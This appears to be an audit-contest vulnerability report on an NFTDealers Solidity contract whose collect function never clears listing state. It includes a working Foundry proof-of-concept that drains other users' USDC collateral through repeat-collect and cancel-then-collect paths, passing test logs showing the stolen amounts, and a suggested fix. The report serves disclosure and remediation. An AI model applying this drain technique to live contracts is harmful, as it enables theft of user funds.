Submission Details
Severity:
collectUsdcFromSelling Never Clears State, Enabling Two Independent Paths to Drain All Protocol USDC
Root + Impact
Description
NFTDealers.sol:171-183 and NFTDealers.sol:157-168
-
collectUsdcFromSellingreadslisting.priceandcollateralForMinting[listing.tokenId]to calculate and transfer the seller payout, but never zeroes either value and sets no "already collected" flag. The only guard isrequire(!listing.isActive)— set permanently bybuy()and never toggled back — so the function is callable unlimited times with identical payouts. -
cancelListingcorrectly zeroescollateralForMinting[listing.tokenId], but never zeroeslisting.price. After cancellation,isActiveisfalseandlisting.priceis still set, socollectUsdcFromSellingpasses its only guard and pays outlisting.price - feesto the seller despite no buyer ever having deposited those funds.
// @> NFTDealers.sol:171-183
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> listing.price never zeroed
// @> collateralForMinting[listing.tokenId] never zeroed
// @> no "collected" flag — function callable indefinitely
}
// @> NFTDealers.sol:157-168
function cancelListing(uint256 _listingId) external {
...
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
// @> listing.price never zeroed — collectUsdcFromSelling remains callable
emit NFT_Dealers_ListingCanceled(_listingId);
}
Risk
Likelihood:
-
A whitelisted seller completes a sale via
buy()and callscollectUsdcFromSellingmore than once — the function has no state change preventing repeat execution -
A whitelisted seller lists, cancels via
cancelListing, then callscollectUsdcFromSelling—isActiveisfalseandlisting.priceremains non-zero, so the guard passes with zero buyer participation
Impact:
-
The entire USDC balance held by the protocol is drainable — at max supply (1,000 NFTs × 20 USDC), a single attacker extracts up to 20,000 USDC at the cost of gas only
-
totalFeesCollectedis inflated on every repeat call, permanently brickingwithdrawFees()once the contract balance is exhausted
Proof of Concept
// SPDX-License-Identifier: UNLICENSED
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
/**
* @title PoC_H1_DrainPoC
* @notice Proof of Concept: H-1 — collectUsdcFromSelling missing state invalidation
*
* ROOT CAUSE (single, shared by both paths):
* collectUsdcFromSelling() transfers (listing.price - fees + collateralForMinting[tokenId])
* to the seller but NEVER zeroes listing.price, NEVER zeroes collateralForMinting[tokenId],
* and sets NO "already collected" flag.
* cancelListing() also fails to zero listing.price when it deactivates a listing.
*
* ┌─────────────────────────────────────────────────────────────────────────────┐
* │ PATH A — Post-Sale Drain │
* │ Trigger : buy() sets isActive=false → seller calls collectUsdcFromSelling │
* │ Per call : listing.price - fees + lockAmount (1,010 USDC at 1,000 listing) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* │ │
* │ PATH B — Post-Cancel Drain (NO BUYER REQUIRED) │
* │ Trigger : cancelListing() sets isActive=false, does NOT zero listing.price │
* │ Per call : listing.price - fees (990 USDC at 1,000 listing price) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* └─────────────────────────────────────────────────────────────────────────────┘
*
* MATH (both paths, 51 victims × 20 USDC lockAmount = 1,020 USDC pool):
*
* Path A: 51 victims + attacker minted → 52 × 20 = 1,040 USDC in contract
* buyer pays 1,000 USDC → 2,040 USDC in contract
* 1st collect (legitimate) → −1,010 USDC → 1,030 USDC remains
* 2nd collect (illegitimate ✗) → −1,010 USDC → 20 USDC remains ← STOLEN
* 3rd collect attempt → reverts (insufficient balance)
*
* Path B: 51 victims + attacker minted → 1,040 USDC in contract
* cancel returns lockAmount → −20 USDC → 1,020 USDC remains
* 1st collect after cancel (✗) → −990 USDC → 30 USDC remains ← STOLEN
* 2nd collect attempt → reverts (insufficient balance)
*
* NOTE ON LISTING KEY:
* list() stores at s_listings[_tokenId] but emits listingsCounter as listingId.
* All functions in this PoC use tokenId as the parameter (matching storage key)
* to isolate H-1 from the separate key-mismatch bug (H-3).
*/
contract PoC_H1_DrainPoC is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6; // 20 USDC
uint32 public constant LISTING_PRICE = 1000e6; // 1,000 USDC (fits uint32)
uint256 public constant NUM_VICTIMS = 51; // minimum for 1 illegitimate collect
// ─── fee at 1,000 USDC falls in LOW tier (1%) ────────────────────────────
uint256 public constant EXPECTED_FEES = (uint256(LISTING_PRICE) * 100) / 10_000; // 10 USDC
// ─────────────────────────────────────────────────────────────────────────
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
}
// ─────────────────────────────────────────────────────────────────────────
// HELPERS
// ─────────────────────────────────────────────────────────────────────────
/// @dev Mint an NFT as `user`. Returns the new tokenId.
function _mintAs(address user) internal returns (uint256 tokenId) {
vm.prank(owner);
nftDealers.whitelistWallet(user);
usdc.mint(user, LOCK_AMOUNT);
vm.startPrank(user);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
tokenId = nftDealers.totalMinted(); // tokenIdCounter after mint
}
/**
* @dev Create NUM_VICTIMS minters so the contract holds a large USDC pool
* that the attacker can drain. Victims only mint — they never list.
*/
function _fundContractWithVictims() internal {
for (uint256 i = 1; i <= NUM_VICTIMS; i++) {
address v = makeAddr(string.concat("victim", vm.toString(i)));
_mintAs(v);
}
assertEq(
usdc.balanceOf(address(nftDealers)),
NUM_VICTIMS * LOCK_AMOUNT,
"Setup: victim collateral pool incorrect"
);
}
// =========================================================================
// PATH A — Post-Sale Drain
// =========================================================================
/**
* @notice Attacker collects legitimate sale proceeds, then calls
* collectUsdcFromSelling() a SECOND time and receives an identical
* payout — stealing victim collateral with no additional cost.
*
* Expected (correct) behaviour : 2nd call reverts with "Already collected"
* Actual behaviour : 2nd call transfers 1,010 USDC to attacker
*/
function testPoC_H1_PathA_PostSaleDrain() public {
// ── 1. Seed contract with victim collateral ───────────────────────────
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
// contract holds: (NUM_VICTIMS + 1) × LOCK_AMOUNT
uint256 poolAfterMints = usdc.balanceOf(address(nftDealers));
assertEq(poolAfterMints, (NUM_VICTIMS + 1) * LOCK_AMOUNT);
console2.log("=== PATH A: POST-SALE DRAIN ===");
console2.log("[setup] Contract USDC after mints :", poolAfterMints / 1e6, "USDC");
// ── 2. Legitimate listing and buy ─────────────────────────────────────
// NOTE: using tokenId as the parameter key (matching storage layout)
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
uint256 poolAfterBuy = usdc.balanceOf(address(nftDealers));
console2.log("[1] Contract USDC after buy :", poolAfterBuy / 1e6, "USDC");
// = (52 × 20) + 1,000 = 2,040 USDC
// ── 3. First collect — LEGITIMATE ────────────────────────────────────
uint256 attackerBefore1 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 attackerAfter1 = usdc.balanceOf(attacker);
uint256 payout1 = attackerAfter1 - attackerBefore1;
console2.log("[2] 1st collect payout :", payout1 / 1e6, "USDC <-- legitimate");
console2.log(" Contract USDC after 1st :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
assertEq(
payout1,
uint256(LISTING_PRICE) - EXPECTED_FEES + LOCK_AMOUNT,
"1st collect: wrong payout"
);
// ── 4. Prove state was NOT cleared ────────────────────────────────────
(, uint32 priceStored,, uint256 storedTokenId,) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(storedTokenId);
console2.log("[3] listing.price in storage :", uint256(priceStored) / 1e6, "USDC <-- should be 0");
console2.log(" collateralForMinting stored :", collateralStored / 1e6, "USDC <-- should be 0");
assertEq(uint256(priceStored), uint256(LISTING_PRICE), "BUG: listing.price not cleared after collect");
assertEq(collateralStored, LOCK_AMOUNT, "BUG: collateralForMinting not cleared after collect");
// ── 5. Second collect — ILLEGITIMATE (no new buyer, same stale state) ─
uint256 attackerBefore2 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId); // should revert — does NOT
uint256 attackerAfter2 = usdc.balanceOf(attacker);
uint256 payout2 = attackerAfter2 - attackerBefore2;
console2.log("[4] 2nd collect payout :", payout2 / 1e6, "USDC <-- STOLEN from victims");
console2.log(" Contract USDC remaining :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
// ── 6. Assertions ─────────────────────────────────────────────────────
assertEq(payout2, payout1,
"CRITICAL: 2nd collect returned identical payout -- victim funds stolen");
assertGt(attackerAfter2, uint256(LISTING_PRICE) + LOCK_AMOUNT,
"CRITICAL: attacker extracted more than their total legitimate entitlement");
// Total stolen = victim collateral used to fund illegitimate 2nd payout
uint256 victimLoss = payout2;
console2.log("[5] Total victim loss :", victimLoss / 1e6, "USDC");
console2.log(" Attacker net profit :",
(attackerAfter2 - 0) / 1e6, // attacker started with 0 USDC
"USDC (minted for free after lockAmount recovered in payout1)");
}
// =========================================================================
// PATH B — Post-Cancel Drain (no buyer required)
// =========================================================================
/**
* @notice Attacker mints, lists, then CANCELS — recovering their lockAmount.
* They then call collectUsdcFromSelling() on the cancelled listing.
* Because cancelListing() zeros collateralForMinting but NOT listing.price,
* the function pays out listing.price - fees from other users' collateral
* with ZERO buyer having ever paid into the contract.
*
* Expected (correct) behaviour : collectUsdcFromSelling on a cancelled listing reverts
* Actual behaviour : transfers 990 USDC stolen from victim pool
*/
function testPoC_H1_PathB_PostCancelDrain() public {
// ── 1. Seed contract with victim collateral ───────────────────────────
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 poolBeforeCancel = usdc.balanceOf(address(nftDealers));
console2.log("\n=== PATH B: POST-CANCEL DRAIN ===");
console2.log("[setup] Contract USDC (victim pool) :", poolBeforeCancel / 1e6, "USDC");
// ── 2. Attacker: mint → list → cancel ─────────────────────────────────
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId); // returns lockAmount, sets isActive=false
uint256 attackerAfterCancel = usdc.balanceOf(attacker);
uint256 poolAfterCancel = usdc.balanceOf(address(nftDealers));
console2.log("[1] Attacker USDC after cancel :", attackerAfterCancel / 1e6, "USDC (lockAmount recovered)");
console2.log(" Contract USDC after cancel :", poolAfterCancel / 1e6, "USDC (pure victim collateral)");
// ── 3. Verify the exact precondition the exploit requires ─────────────
(
address sellerStored,
uint32 priceStored,
,
uint256 tokenIdStored,
bool isActiveStored
) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(tokenIdStored);
// These two are correct — cancel did its job
assertEq(sellerStored, attacker, "seller still recorded");
assertFalse(isActiveStored, "isActive correctly false after cancel");
assertEq(collateralStored, 0, "collateralForMinting correctly zeroed by cancel");
// This one is the bug — cancel forgot to zero listing.price
assertEq(uint256(priceStored), uint256(LISTING_PRICE),
"BUG: listing.price NOT zeroed by cancelListing()");
console2.log("[2] isActive after cancel : false (correct)");
console2.log(" collateralForMinting : 0 (correct)");
console2.log(" listing.price :",
uint256(priceStored) / 1e6, "USDC <-- BUG: should be 0");
// ── 4. Call collectUsdcFromSelling on the CANCELLED listing ───────────
// !isActive ✓ (passes — cancel set it false)
// onlySeller ✓ (passes — seller is still attacker)
// No buyer ever deposited listing.price — pool is pure victim collateral
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId); // must revert — does NOT
uint256 attackerAfterCollect = usdc.balanceOf(attacker);
uint256 poolAfterCollect = usdc.balanceOf(address(nftDealers));
uint256 stolen = attackerAfterCollect - attackerAfterCancel;
console2.log("[3] Attacker USDC after collect :", attackerAfterCollect / 1e6, "USDC");
console2.log(" Stolen from victim pool :", stolen / 1e6, "USDC");
console2.log(" Contract USDC remaining :", poolAfterCollect / 1e6, "USDC");
// ── 5. Assertions ─────────────────────────────────────────────────────
assertGt(stolen, 0,
"CRITICAL: collect after cancel transferred USDC to attacker");
assertEq(
stolen,
uint256(LISTING_PRICE) - EXPECTED_FEES,
"CRITICAL: stolen amount equals listing.price - fees, sourced entirely from victim pool"
);
// Attacker net: got lockAmount back from cancel AND 990 USDC from victim pool
assertGt(
attackerAfterCollect,
attackerAfterCancel,
"CRITICAL: net profit from victim pool despite no buyer"
);
console2.log("[4] Attacker net profit (on top of lockAmount recovery):",
stolen / 1e6, "USDC with zero buyer interaction");
}
// =========================================================================
// COMBINED: BOTH PATHS — SAME ROOT CAUSE, ONE FIX REQUIRED
// =========================================================================
/**
* @notice Demonstrates that both paths are independent expressions of the
* same root cause and that fixing only one leaves the other open.
*
* A single fix — zeroing listing.price (and collateralForMinting)
* inside collectUsdcFromSelling — closes BOTH paths simultaneously.
*
* Attack sequence:
* Phase 1 (Path B): drain victim pool via cancel path (no buyer)
* Phase 2 (Path A): sell legitimately, then drain remaining balance
*
* The attacker NEVER loses net capital: every lockAmount paid is recovered.
*/
function testPoC_H1_MaximumDrain_Combined() public {
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 initialVictimPool = usdc.balanceOf(address(nftDealers));
console2.log("\n=== COMBINED DRAIN: PATH B -> PATH A ===");
console2.log("[0] Victim pool (incl. attacker mint):", initialVictimPool / 1e6, "USDC");
// ── PHASE 1: Path B (cancel → collect until pool < listing.price) ─────
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId); // lockAmount recovered
uint256 phase1Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE)) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase1Calls++;
}
console2.log("[1] Phase 1 (cancel path) drain calls:", phase1Calls);
console2.log(" Contract after Phase 1 :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Attacker after Phase 1 :", usdc.balanceOf(attacker) / 1e6, "USDC");
// ── PHASE 2: Path A (sell → collect until pool exhausted) ────────────
// Attacker still owns the NFT (cancel returned it), so re-list and sell
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
// First collect is legitimate
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
// Continue draining
uint256 phase2Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE) + LOCK_AMOUNT) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase2Calls++;
}
console2.log("[2] Phase 2 (post-sale) drain calls :", phase2Calls);
console2.log(" Final contract balance :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Final attacker balance :", usdc.balanceOf(attacker) / 1e6, "USDC");
// ── Final assertion: attacker extracted more than victims ever deposited ─
assertGt(
usdc.balanceOf(attacker),
initialVictimPool - LOCK_AMOUNT, // attacker contributed one lockAmount
"CRITICAL: attacker drained more than all victim deposits combined"
);
}
}
POC RESULT
forge test --match-contract PoC_H1_DrainPoC -vv
[⠒] Compiling...
[⠒] Compiling 1 files with Solc 0.8.34
[⠢] Solc 0.8.34 finished in 375.01ms
Compiler run successful!
Ran 3 tests for test/PoC_H1_DrainPoC.t.sol:PoC_H1_DrainPoC
[PASS] testPoC_H1_MaximumDrain_Combined() (gas: 7013244)
Logs:
=== COMBINED DRAIN: PATH B -> PATH A ===
[0] Victim pool (incl. attacker mint): 1040 USDC
[1] Phase 1 (cancel path) drain calls: 1
Contract after Phase 1 : 30 USDC
Attacker after Phase 1 : 1010 USDC
[2] Phase 2 (post-sale) drain calls : 0
Final contract balance : 40 USDC
Final attacker balance : 2000 USDC
[PASS] testPoC_H1_PathA_PostSaleDrain() (gas: 6992664)
Logs:
=== PATH A: POST-SALE DRAIN ===
[setup] Contract USDC after mints : 1040 USDC
[1] Contract USDC after buy : 2040 USDC
[2] 1st collect payout : 1010 USDC <-- legitimate
Contract USDC after 1st : 1030 USDC
[3] listing.price in storage : 1000 USDC <-- should be 0
collateralForMinting stored : 20 USDC <-- should be 0
[4] 2nd collect payout : 1010 USDC <-- STOLEN from victims
Contract USDC remaining : 20 USDC
[5] Total victim loss : 1010 USDC
Attacker net profit : 2020 USDC (minted for free after lockAmount recovered in payout1)
[PASS] testPoC_H1_PathB_PostCancelDrain() (gas: 6907719)
Logs:
=== PATH B: POST-CANCEL DRAIN ===
[setup] Contract USDC (victim pool) : 1040 USDC
[1] Attacker USDC after cancel : 20 USDC (lockAmount recovered)
Contract USDC after cancel : 1020 USDC (pure victim collateral)
[2] isActive after cancel : false (correct)
collateralForMinting : 0 (correct)
listing.price : 1000 USDC <-- BUG: should be 0
[3] Attacker USDC after collect : 1010 USDC
Stolen from victim pool : 990 USDC
Contract USDC remaining : 30 USDC
[4] Attacker net profit (on top of lockAmount recovery): 990 USDC with zero buyer interaction
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 9.20ms (15.83ms CPU time)
Ran 1 test suite in 51.54ms (9.20ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
Recommended Mitigation
Zero all relevant state before transferring in collectUsdcFromSelling (Checks-Effects-Interactions pattern), and also zero listing.price in cancelListing to independently close Path B:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ s_listings[_listingId].price = 0;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees); // no-op self-transfer — remove
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates
Lead Judging Commences
rubik0n 16 days ago
Submission Judgement Published Assigned finding tags:
drain-protocol-risk
collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC
Rewards breakdown
nSLOC
253This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.